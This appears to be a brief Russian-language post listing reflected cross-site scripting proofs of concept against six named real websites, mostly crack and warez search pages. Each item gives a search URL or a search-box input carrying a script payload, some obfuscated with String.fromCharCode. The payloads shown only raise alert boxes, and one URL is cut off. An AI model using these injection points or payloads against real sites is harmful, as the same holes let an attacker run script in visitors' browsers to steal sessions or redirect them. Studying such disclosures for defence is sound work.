1)http://www.keygen.us/
http://www.keygen.us/search.shtml?q=<script>alert('Hello!')</script>&w=cracks

2)http://www.serials.ws
В поле для поиска крэка вбиваем: <script>alert('Hello!')</script>

3)http://cracks.thebugs.ws/
аналогично:
http://cracks.thebugs.ws/search.shtml?q=<script>alert(String.fromCharCode(7 2,73));</script>

4)http://www.warez.com
Даже на таком известном ресурсе промелькнула дырка:
http://search.warez.com/?q=%3Cscript%...=web&e=web

5)http://www.rom-world.com/search/?q=<script>alert('Hello!')</script>&submit.x=8&submit.y=9

6)http://www.avatarity.com/search.php?sch=<script>alert(String.fromCharCode(7 2,73));</script>&oper=or